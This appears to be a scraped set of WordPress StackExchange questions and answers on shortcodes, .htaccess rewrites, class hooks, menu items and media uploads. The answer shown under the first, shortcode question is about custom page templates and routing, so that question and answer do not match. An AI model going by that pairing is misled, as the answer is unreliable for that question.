<p>I added shortcodes to the theme I'm using, but when I try to use them in a page, it gives me a blank page. I have seen a solution to this problem saying to use <code>remove_filter("the_content", "wpautop");</code> but I'm not sure that this will work. If it will, please let me know, and please let me know where to put that code. Otherwise, what can I do to fix this issue. If you need to see what shortcodes I'm trying to add, let me know and I'll post a file with them. Thanks in advance. </p> <p><strong>EDIT</strong> Here are the functions I am using to add the shortcodes:</p> <pre><code>function facebook($atts) { extract(shortcode_atts(array( "source_url" =&gt; 'https://www.facebook.com/the569a/' ), $atts)); $url = "http://api.facebook.com/restserver.php?method=links.getStats&amp;urls=".urlencode($source_url); $xml = file_get_contents($url); $xml = simplexml_load_string($xml); $likes = $xml-&gt;link_stat-&gt;like_count; return '&lt;div class="column"&gt;&lt;a href="' . $source_url . '"&gt;&lt;i class="fa fa-facebook" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"&gt;&lt;/i&gt;&lt;span style="font-size: 150%;"&gt;' . $likes . ' likes&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;'; } add_shortcode("facebook", "facebook"); function twitter($atts) { extract(shortcode_atts(array( "user_id" =&gt; 'team569A', "link" =&gt; 'http://www.twitter.com' ), $atts)); $xml = new SimpleXMLElement(urlencode(strip_tags('https://twitter.com/users/'.$user_id.'.xml')), null, true); return '&lt;div class="column"&gt;&lt;a href="' . $link . '"&gt;&lt;i class="fa fa-twitter" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"&gt;&lt;/i&gt;&lt;span style="font-size: 150%;"&gt;' . $xml-&gt;followers_count . ' followers&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;'; } add_shortcode("twitter", "twitter"); function instagram($atts) { extract(shortcode_atts(array( "username" =&gt; '569A_', "link" =&gt; 'http://www.instagram.com' ), $atts)); $raw = file_get_contents('https://www.instagram.com/'.$username); preg_match('/\"followed_by\"\:\s?\{\"count\"\:\s?([0-9]+)/',$raw,$m); return '&lt;div class="column"&gt;&lt;a href="' . $link . '"&gt;&lt;i class="fa fa-instagram" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"&gt;&lt;/i&gt;&lt;span style="font-size: 150%;"&gt;' . intval($m[1]) . ' followers&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;'; } add_shortcode("instagram", "instagram"); function discord($atts) { extract(shortcode_atts(array( "server_code" =&gt; '365923825860214784', "link" =&gt; 'https://discordapp.com/invite/FjuqqFc' ), $atts)); $JsonIn = file_get_contents('https://discordapp.com/api/guilds/'.$server_code.'/embed.json'); $JSON = json_decode($jsonIn, true); $membersCount = count($JSON['members']); return '&lt;div class="column"&gt;&lt;a href="'.$link.'"&gt;&lt;i class="fa fa-687474703a2f2f692e696d6775722e636f6d2f65597779386c" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"&gt;&lt;/i&gt;&lt;span style="font-size: 150%;"&gt;'. $membersCount . ' members&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;'; } add_shortcode("discord", "discord"); </code></pre> <p><s>I don't currently have access to the error.log file.</s> I will note though that not the entire page is blank. The theme still shows up, along with page title, but not the content of the page.</p> <p><strong>EDIT 2</strong> I just went to look for the error.log file, but there does not seem to be one. I have no clue what to do from here.</p>
[ { "answer_id": 282273, "author": "CK MacLeod", "author_id": 35923, "author_profile": "https://wordpress.stackexchange.com/users/35923", "pm_score": 1, "selected": false, "text": "<p>Agree with the comments, but still might as well provide an answer for someone coming from a place of some...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282282", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129266/" ]
I added shortcodes to the theme I'm using, but when I try to use them in a page, it gives me a blank page. I have seen a solution to this problem saying to use `remove_filter("the_content", "wpautop");` but I'm not sure that this will work. If it will, please let me know, and please let me know where to put that code. Otherwise, what can I do to fix this issue. If you need to see what shortcodes I'm trying to add, let me know and I'll post a file with them. Thanks in advance. **EDIT** Here are the functions I am using to add the shortcodes: ``` function facebook($atts) { extract(shortcode_atts(array( "source_url" => 'https://www.facebook.com/the569a/' ), $atts)); $url = "http://api.facebook.com/restserver.php?method=links.getStats&urls=".urlencode($source_url); $xml = file_get_contents($url); $xml = simplexml_load_string($xml); $likes = $xml->link_stat->like_count; return '<div class="column"><a href="' . $source_url . '"><i class="fa fa-facebook" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"></i><span style="font-size: 150%;">' . $likes . ' likes</span></a></div>'; } add_shortcode("facebook", "facebook"); function twitter($atts) { extract(shortcode_atts(array( "user_id" => 'team569A', "link" => 'http://www.twitter.com' ), $atts)); $xml = new SimpleXMLElement(urlencode(strip_tags('https://twitter.com/users/'.$user_id.'.xml')), null, true); return '<div class="column"><a href="' . $link . '"><i class="fa fa-twitter" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"></i><span style="font-size: 150%;">' . $xml->followers_count . ' followers</span></a></div>'; } add_shortcode("twitter", "twitter"); function instagram($atts) { extract(shortcode_atts(array( "username" => '569A_', "link" => 'http://www.instagram.com' ), $atts)); $raw = file_get_contents('https://www.instagram.com/'.$username); preg_match('/\"followed_by\"\:\s?\{\"count\"\:\s?([0-9]+)/',$raw,$m); return '<div class="column"><a href="' . $link . '"><i class="fa fa-instagram" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"></i><span style="font-size: 150%;">' . intval($m[1]) . ' followers</span></a></div>'; } add_shortcode("instagram", "instagram"); function discord($atts) { extract(shortcode_atts(array( "server_code" => '365923825860214784', "link" => 'https://discordapp.com/invite/FjuqqFc' ), $atts)); $JsonIn = file_get_contents('https://discordapp.com/api/guilds/'.$server_code.'/embed.json'); $JSON = json_decode($jsonIn, true); $membersCount = count($JSON['members']); return '<div class="column"><a href="'.$link.'"><i class="fa fa-687474703a2f2f692e696d6775722e636f6d2f65597779386c" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"></i><span style="font-size: 150%;">'. $membersCount . ' members</span></a></div>'; } add_shortcode("discord", "discord"); ``` ~~I don't currently have access to the error.log file.~~ I will note though that not the entire page is blank. The theme still shows up, along with page title, but not the content of the page. **EDIT 2** I just went to look for the error.log file, but there does not seem to be one. I have no clue what to do from here.
If you're coming from a Laravel background, you're going to hate Wordpress routing. For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not "The Wordpress Way." There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template. Here's how. I'm going to assume you have control over your theme and it's located here: `yoursite/wp-content/themes/your-theme` Add a new file: ``` yoursite/wp-content/themes/your-theme/mygetform.php ``` Add some Wordpress-magic to the top of this file: ``` <?php /** * Template Name: Custom Page - My Get Form * Description: Here's my custom page. */ /* include your template header here, if you need/want it. */ /* insert your custom code here */ /* include your template footer here, if you need/want it. */ ``` Now head to **yoursite.com/wp-admin** and navigate to Pages > Add Page. In your **Page Attributes** metabox (which normally hides on the right hand side somewhere) you'll now be able to select "**Custom Page - My Get Form**" from the Template drop down. This will now run all PHP you've dropped into this file (or included, etc). If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in [this article.](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
282,285
<p>How can I prevent WordPress and plugins from overwriting my <code>.htaccess</code> file? I use Wordpress to set the structure of my permalinks; so I doubt it is practical to deny all permissions to the file.</p> <p>If it is unlikely that WordPress is responsible for overwriting the file, advice on determining what is responsible would be helpful.</p> <p>I recently added these rules to .htaccess to redirect traffic to HTTPS.</p> <pre><code> RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] </code></pre> <p>One day later, I found that .htaccess had reverted to its previous state. Following is a portion of the .htaccess file as I intend it.</p> <pre><code># BEGIN W3TC Page Cache core &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] RewriteCond %{HTTPS} =on RewriteRule .* - [E=W3TC_SSL:_ssl] RewriteCond %{SERVER_PORT} =443 RewriteRule .* - [E=W3TC_SSL:_ssl] RewriteCond %{HTTP:Accept-Encoding} gzip RewriteRule .* - [E=W3TC_ENC:_gzip] RewriteCond %{HTTP_COOKIE} w3tc_preview [NC] RewriteRule .* - [E=W3TC_PREVIEW:_preview] RewriteCond %{REQUEST_METHOD} !=POST RewriteCond %{QUERY_STRING} ="" RewriteCond %{REQUEST_URI} \/$ RewriteCond %{HTTP_COOKIE} !(comment_author|wp\-postpass|w3tc_logged_out|wordpress_logged_in|wptouch_switch_toggle) [NC] RewriteCond "%{DOCUMENT_ROOT}/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_SSL}%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" -f RewriteRule .* "/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_SSL}%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" [L] &lt;/IfModule&gt; # END W3TC Page Cache core </code></pre> <p>This code redirects traffic with a status of 301 as expected, until the .htaccess file is overwritten.</p> <p>--Update-- By placing comments in several sections of the .htaccess file and observing which one was overwritten, I found that plugin W3 Total Cache overwrote the entirety of the section commented with </p> <pre><code># BEGIN W3TC Page Cache core </code></pre>
[ { "answer_id": 282288, "author": "haz", "author_id": 99009, "author_profile": "https://wordpress.stackexchange.com/users/99009", "pm_score": 2, "selected": false, "text": "<p>Wordpress will definitely rewrite your .htaccess file under certain circumstances, such as if you change Permalin...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282285", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129120/" ]
How can I prevent WordPress and plugins from overwriting my `.htaccess` file? I use Wordpress to set the structure of my permalinks; so I doubt it is practical to deny all permissions to the file. If it is unlikely that WordPress is responsible for overwriting the file, advice on determining what is responsible would be helpful. I recently added these rules to .htaccess to redirect traffic to HTTPS. ``` RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] ``` One day later, I found that .htaccess had reverted to its previous state. Following is a portion of the .htaccess file as I intend it. ``` # BEGIN W3TC Page Cache core <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] RewriteCond %{HTTPS} =on RewriteRule .* - [E=W3TC_SSL:_ssl] RewriteCond %{SERVER_PORT} =443 RewriteRule .* - [E=W3TC_SSL:_ssl] RewriteCond %{HTTP:Accept-Encoding} gzip RewriteRule .* - [E=W3TC_ENC:_gzip] RewriteCond %{HTTP_COOKIE} w3tc_preview [NC] RewriteRule .* - [E=W3TC_PREVIEW:_preview] RewriteCond %{REQUEST_METHOD} !=POST RewriteCond %{QUERY_STRING} ="" RewriteCond %{REQUEST_URI} \/$ RewriteCond %{HTTP_COOKIE} !(comment_author|wp\-postpass|w3tc_logged_out|wordpress_logged_in|wptouch_switch_toggle) [NC] RewriteCond "%{DOCUMENT_ROOT}/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_SSL}%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" -f RewriteRule .* "/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_SSL}%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" [L] </IfModule> # END W3TC Page Cache core ``` This code redirects traffic with a status of 301 as expected, until the .htaccess file is overwritten. --Update-- By placing comments in several sections of the .htaccess file and observing which one was overwritten, I found that plugin W3 Total Cache overwrote the entirety of the section commented with ``` # BEGIN W3TC Page Cache core ```
If you place your "custom" directives outside of any `# BEGIN ...` / `# END ...` comment markers then WordPress (and plugins) *should not* overwrite them when they update. (Of course, if you have plugins that don't "play nice" then they could do anything to `.htaccess` if you let them, so you would need to do something like what @haz suggests in this case.) In your case, you can simply place those directives above the `# BEGIN W3TC Page Cache core` comment. For example: ``` # Custom directives RewriteCond %{HTTPS} off RewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] # BEGIN W3TC Page Cache core <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{HTTPS} =on RewriteRule .* - [E=W3TC_SSL:_ssl] : ``` You don't need to repeat the `RewriteEngine On` directive (providing it occurs somewhere in the file). And your directives are not using `RewriteBase` anyway - but again, `RewriteBase` should only occur once in the file. (The last instance of each of these directives is what controls the entire file.) (*Aside:* The parentheses around the `RewriteRule` *pattern* are superfluous in your directive.)
282,290
<p>I want to call a function I have written from a shortcode handler. I have now simplified the code but I cannot find out why this won't work:</p> <pre><code>public function handleShortcode($atts) { return X(); } private function X() { return 'Hi world'; } </code></pre> <p>but, if I try:</p> <pre><code>public function handleShortcode($atts) { return 'Hello World!'; } </code></pre> <p>it works.</p> <p>This may be a dumb question but can anyone explain why the first example fails?</p>
[ { "answer_id": 282295, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 1, "selected": false, "text": "<p>You're returning <code>X()</code>, but your <code>X()</code> function appears to be within a class. Pre...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282290", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129269/" ]
I want to call a function I have written from a shortcode handler. I have now simplified the code but I cannot find out why this won't work: ``` public function handleShortcode($atts) { return X(); } private function X() { return 'Hi world'; } ``` but, if I try: ``` public function handleShortcode($atts) { return 'Hello World!'; } ``` it works. This may be a dumb question but can anyone explain why the first example fails?
You're returning `X()`, but your `X()` function appears to be within a class. Presumably the same class as `handleShortcode()`. So you need to call it the normal way you call functions within a class: ``` public function handleShortcode($atts) { return $this->X(); } private function X() { return 'Hi world'; } ``` If you're not in a class at all, you need to get rid of the `private` and `public`: ``` function handleShortcode($atts) { return X(); } function X() { return 'Hi world'; } ```
282,293
<p>I want to show Woocommerce products on my custom template page How can i get product collection in that page,Please kindly give some suggestions how do i proceed to complete it</p> <p>thanks</p>
[ { "answer_id": 282295, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 1, "selected": false, "text": "<p>You're returning <code>X()</code>, but your <code>X()</code> function appears to be within a class. Pre...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282293", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/123117/" ]
I want to show Woocommerce products on my custom template page How can i get product collection in that page,Please kindly give some suggestions how do i proceed to complete it thanks
You're returning `X()`, but your `X()` function appears to be within a class. Presumably the same class as `handleShortcode()`. So you need to call it the normal way you call functions within a class: ``` public function handleShortcode($atts) { return $this->X(); } private function X() { return 'Hi world'; } ``` If you're not in a class at all, you need to get rid of the `private` and `public`: ``` function handleShortcode($atts) { return X(); } function X() { return 'Hi world'; } ```
282,332
<p>Everytime I try to login my WP, this fatal error appears and I have no idea of what happened and how to solve. Can anybody help me out? I've got "zero" knowledge in programming and coding.</p> <p>This is what appears to me:</p> <pre><code>Fatal error: Uncaught Error: Cannot use object of type WP_Post as array in /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php:92 Stack trace: #0 /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php(476): mm_clm_log('content_draft', Object(WP_Post)) #1 /home1/tenhacon/public_html/wp-includes/class-wp-hook.php(298): mm_ux_log_content_status('draft', 'new', Object(WP_Post)) #2 /home1/tenhacon/public_html/wp-includes/class-wp-hook.php(323): WP_Hook-&gt;apply_filters(NULL, Array) #3 /home1/tenhacon/public_html/wp-includes/plugin.php(453): WP_Hook-&gt;do_action(Array) #4 /home1/tenhacon/public_html/wp-includes/post.php(3965): do_action('transition_post...', 'draft', 'new', Object(WP_Post)) #5 /home1/tenhacon/public_html/wp-includes/post.php(3425): wp_transition_post_status('draft', 'new', Object(WP_Post)) #6 /home1/tenhacon/public_html/wp-content/plugins/wpforms-lite/includes/admin/class-am-notification.php(143): wp_insert_po in /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php on line 92 </code></pre>
[ { "answer_id": 282334, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": 0, "selected": false, "text": "<p>There is a problem in <code>mojo-marketplace-wp-plugin</code> plugin, you can disable or update this ...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282332", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129291/" ]
Everytime I try to login my WP, this fatal error appears and I have no idea of what happened and how to solve. Can anybody help me out? I've got "zero" knowledge in programming and coding. This is what appears to me: ``` Fatal error: Uncaught Error: Cannot use object of type WP_Post as array in /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php:92 Stack trace: #0 /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php(476): mm_clm_log('content_draft', Object(WP_Post)) #1 /home1/tenhacon/public_html/wp-includes/class-wp-hook.php(298): mm_ux_log_content_status('draft', 'new', Object(WP_Post)) #2 /home1/tenhacon/public_html/wp-includes/class-wp-hook.php(323): WP_Hook->apply_filters(NULL, Array) #3 /home1/tenhacon/public_html/wp-includes/plugin.php(453): WP_Hook->do_action(Array) #4 /home1/tenhacon/public_html/wp-includes/post.php(3965): do_action('transition_post...', 'draft', 'new', Object(WP_Post)) #5 /home1/tenhacon/public_html/wp-includes/post.php(3425): wp_transition_post_status('draft', 'new', Object(WP_Post)) #6 /home1/tenhacon/public_html/wp-content/plugins/wpforms-lite/includes/admin/class-am-notification.php(143): wp_insert_po in /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php on line 92 ```
Go to your plugins dir `wp-content/plugins/` and rename `mojo-marketplace-wp-plugin` folder. This will deactivate `mojo-marketplace` and won't throw you an error when you try to login. Then you can contact with their support and solve this issue.
282,336
<p>When I try to use profile_update hook inside a class the callback function is not called.</p> <pre><code>public function __construct() { add_action('profile_update', array( $this, 'user_profile_update', 10, 2) ); } function user_profile_update( $user_id, $old_user_data ) { die(var_dump($old_user_data)); } </code></pre> <p>Outside the class the callback function works correctly. </p>
[ { "answer_id": 282337, "author": "Mike", "author_id": 69112, "author_profile": "https://wordpress.stackexchange.com/users/69112", "pm_score": 1, "selected": false, "text": "<p>Careful where you are placing your brackets.</p>\n\n<p>The hook should look like;</p>\n\n<p><code>add_action('pr...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282336", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129293/" ]
When I try to use profile\_update hook inside a class the callback function is not called. ``` public function __construct() { add_action('profile_update', array( $this, 'user_profile_update', 10, 2) ); } function user_profile_update( $user_id, $old_user_data ) { die(var_dump($old_user_data)); } ``` Outside the class the callback function works correctly.
Careful where you are placing your brackets. The hook should look like; `add_action('profile_update', array( $this, 'user_profile_update' ), 10, 2 );` Note the close bracket after the method name
282,347
<p>I have a WordPress site and I want to add a registration link for visitors.</p> <p>So, I added a menu item called 'REGISTER' with the following link:</p> <pre><code>http://mywebsite.com/wp-login.php?action=register </code></pre> <p>The problem is that this link opens the registration form for both users and visitors and I want to show it only to visitors.</p>
[ { "answer_id": 282348, "author": "Mahafuz", "author_id": 115945, "author_profile": "https://wordpress.stackexchange.com/users/115945", "pm_score": 2, "selected": false, "text": "<p>Add your registration or log in link inside of the <code>is_user_logged_in()</code> function. So If the cur...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282347", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129298/" ]
I have a WordPress site and I want to add a registration link for visitors. So, I added a menu item called 'REGISTER' with the following link: ``` http://mywebsite.com/wp-login.php?action=register ``` The problem is that this link opens the registration form for both users and visitors and I want to show it only to visitors.
i fixed the problem with Nav Menu Roles plugin I added the registration link to the menu and with the plugin and i set it to only logged out users This way it won't show to logged users
282,369
<p>In my plugin, I would like to load css only when the front-end current page is using one of my plugin shortcodes.</p> <p>All my shortcodes are classes extending Shortcode class. Shortcode class helps me to automate the callback function.</p> <p><strong>Shortcode abstract class</strong></p> <pre><code>namespace PluginFoo\Shortcodes; abstract class Shortcode { public $tag; public $attrs; public $function; public function __construct($tag) { $this-&gt;attrs = array(); $this-&gt;tag = $tag; $this-&gt;function = static::className().'::getCallBack'; add_shortcode( $this-&gt;tag, $this-&gt;function ); } abstract public static function className(); abstract public static function getCallBack( $attrs ); } </code></pre> <p><strong>FooShortcode class</strong></p> <pre><code>namespace PluginFoo\Shortcodes; class FooShortcode extends Shortcode { public static function getCallBack( $attrs = null ){ add_action('wp_enqueue_scripts', array( __CLASS__, 'set_bootstrap' ) ); // &lt;-- Here - function set_bootstrap not called ! $output = ''; ob_start(); //HTML Template include_once 'shortcode-view.php'; $output .= ob_get_contents(); ob_end_clean(); return $output; } public static function set_bootstrap() { wp_enqueue_style( 'bootstrapstyle', PLUGIN_DIR_URL . 'css/bootstrap.min.css' ); } public static function className(){ return __CLASS__; } } </code></pre> <p>How can I call correcty the static function set_bootstrap() in add_action() inside an another static function ?</p>
[ { "answer_id": 282396, "author": "David Lee", "author_id": 111965, "author_profile": "https://wordpress.stackexchange.com/users/111965", "pm_score": 3, "selected": true, "text": "<p>If your class is called statically you need to use <code>get_called_class()</code> like this:</p>\n\n<pre>...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282369", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128094/" ]
In my plugin, I would like to load css only when the front-end current page is using one of my plugin shortcodes. All my shortcodes are classes extending Shortcode class. Shortcode class helps me to automate the callback function. **Shortcode abstract class** ``` namespace PluginFoo\Shortcodes; abstract class Shortcode { public $tag; public $attrs; public $function; public function __construct($tag) { $this->attrs = array(); $this->tag = $tag; $this->function = static::className().'::getCallBack'; add_shortcode( $this->tag, $this->function ); } abstract public static function className(); abstract public static function getCallBack( $attrs ); } ``` **FooShortcode class** ``` namespace PluginFoo\Shortcodes; class FooShortcode extends Shortcode { public static function getCallBack( $attrs = null ){ add_action('wp_enqueue_scripts', array( __CLASS__, 'set_bootstrap' ) ); // <-- Here - function set_bootstrap not called ! $output = ''; ob_start(); //HTML Template include_once 'shortcode-view.php'; $output .= ob_get_contents(); ob_end_clean(); return $output; } public static function set_bootstrap() { wp_enqueue_style( 'bootstrapstyle', PLUGIN_DIR_URL . 'css/bootstrap.min.css' ); } public static function className(){ return __CLASS__; } } ``` How can I call correcty the static function set\_bootstrap() in add\_action() inside an another static function ?
If your class is called statically you need to use `get_called_class()` like this: ``` add_action('wp_enqueue_scripts', array( get_called_class(), 'set_bootstrap' ) ); ``` since `$this` is not available. This also works if the class is extended.
282,389
<p>Using this code: </p> <pre><code>add_filter( 'wp_nav_menu_items', 'my_custom_menu_item'); function my_custom_menu_item($items) { if(is_user_logged_in()) { $user=wp_get_current_user(); $name=$user-&gt;display_name; // or user_login , user_firstname, user_lastname $items .= '&lt;li&gt;&lt;a href=""&gt;Welcome '.$name.'&lt;/a&gt;&lt;/li&gt;'; } return $items; } </code></pre> <p>I am able to display the current logged in user's display Name into the navigation, but it replaces the current menu items. </p> <p>What would I need to make the Display name the parent item which I can then use the wordpress menu system for the sub items ? I assume id need some kind of placeholder in the menu like #place_holder# but am unsure how to get to that stage. </p>
[ { "answer_id": 282391, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 2, "selected": true, "text": "<p>Works fine for me, nothing is replaced, it's just appended to the navigation. Are you sure that it's not just a...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282389", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62291/" ]
Using this code: ``` add_filter( 'wp_nav_menu_items', 'my_custom_menu_item'); function my_custom_menu_item($items) { if(is_user_logged_in()) { $user=wp_get_current_user(); $name=$user->display_name; // or user_login , user_firstname, user_lastname $items .= '<li><a href="">Welcome '.$name.'</a></li>'; } return $items; } ``` I am able to display the current logged in user's display Name into the navigation, but it replaces the current menu items. What would I need to make the Display name the parent item which I can then use the wordpress menu system for the sub items ? I assume id need some kind of placeholder in the menu like #place\_holder# but am unsure how to get to that stage.
Works fine for me, nothing is replaced, it's just appended to the navigation. Are you sure that it's not just a styling-issue? Have you looked at the document source to check if it really is replacing the other menu items? What exactly do you mean by making it the parent item? Do you want to turn ``` <li><a href="">Item</a></li> ``` into ``` <li><a href="">Welcome $user</a> <ul> <li><a href="">Item</a></li> </ul> </li> ``` in the end? To change your menu and make it easy & maintainable, maybe you could use something like this: ``` add_filter( 'wp_nav_menu_objects', 'my_custom_menu_item'); function my_custom_menu_item($items) { $remove_childs_of = array(); foreach($items as $index => $item) { if($item->title == "##currentuser##") { if(is_user_logged_in()) { $user=wp_get_current_user(); $name=$user->display_name; // or user_login , user_firstname, user_lastname $items[$index]->title = $name; } else { array_push($remove_childs_of, $item->ID); unset($items[$index]); } } if(!empty($remove_childs_of) && in_array($item->menu_item_parent, $remove_childs_of)) { array_push($remove_childs_of, $item->ID); unset($items[$index]); } } return $items; } ``` The `wp_nav_menu_objects` filter allows us to work on the items before they get transformed into HTML. You'll have to add an Item to your menu that shows "##currentuser##". If a user is logged in, this menu item will show his name afterwards. If it is an anonymous user, the menu item and its submenues will be removed from the navigation.
282,395
<pre><code> if ($_FILES) { $uploaddir = wp_upload_dir(); $file = $_FILES[featured_image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' =&gt; $wp_filetype['type'], 'post_title' =&gt; preg_replace('/\.[^.]+$/', '', $filename), 'post_content' =&gt; '', 'post_status' =&gt; 'inherit', 'menu_order' =&gt; $_i + 1000 ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it. require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); // Generate the metadata for the attachment, and update the database record. $attach_data = wp_generate_attachment_metadata( $attach_id, $filename ); wp_update_attachment_metadata( $attach_id, $attach_data ); set_post_thumbnail( $new_job_id, $attach_id ); } </code></pre> <p>The images upload correctly and are set to the featured image for the selected post. The images also display like normal (except can only show full image size, can't load thumbnail size.) but in the media library on the backend the images are displayed as a page with a folded corner and you can't see the actual image.</p> <p>What am I doing wrong here?</p>
[ { "answer_id": 282399, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": true, "text": "<p>It appears you've taken the super long winded route and done each step of the upload manually.</p>\n\n<p>But ...
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282395", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
``` if ($_FILES) { $uploaddir = wp_upload_dir(); $file = $_FILES[featured_image]; $uploadfile = $uploaddir['path'] . '/' . basename( $file['name'] ); move_uploaded_file( $file['tmp_name'] , $uploadfile ); $filename = basename( $uploadfile ); $wp_filetype = wp_check_filetype(basename($filename), null ); $attachment = array( 'post_mime_type' => $wp_filetype['type'], 'post_title' => preg_replace('/\.[^.]+$/', '', $filename), 'post_content' => '', 'post_status' => 'inherit', 'menu_order' => $_i + 1000 ); $attach_id = wp_insert_attachment( $attachment, $uploadfile ); // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it. require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); // Generate the metadata for the attachment, and update the database record. $attach_data = wp_generate_attachment_metadata( $attach_id, $filename ); wp_update_attachment_metadata( $attach_id, $attach_data ); set_post_thumbnail( $new_job_id, $attach_id ); } ``` The images upload correctly and are set to the featured image for the selected post. The images also display like normal (except can only show full image size, can't load thumbnail size.) but in the media library on the backend the images are displayed as a page with a folded corner and you can't see the actual image. What am I doing wrong here?
It appears you've taken the super long winded route and done each step of the upload manually. But why not use the sideloading function that does it all for you? The majority of your code can be replaced with this: ``` // These files need to be included as dependencies when on the front end. require_once( ABSPATH . 'wp-admin/includes/image.php' ); require_once( ABSPATH . 'wp-admin/includes/file.php' ); require_once( ABSPATH . 'wp-admin/includes/media.php' ); $attach_id = media_handle_upload( 'featured_image', $new_job_id ); if ( is_wp_error( $attach_id ) ) { // There was an error uploading the image. } else { // The image was uploaded successfully! } ``` From there you can set your post thumbnail etc, look up the documentation for `media_handle_upload` for more details, and remember to add a nonce check to your uploader or your site will probably get hacked
282,414
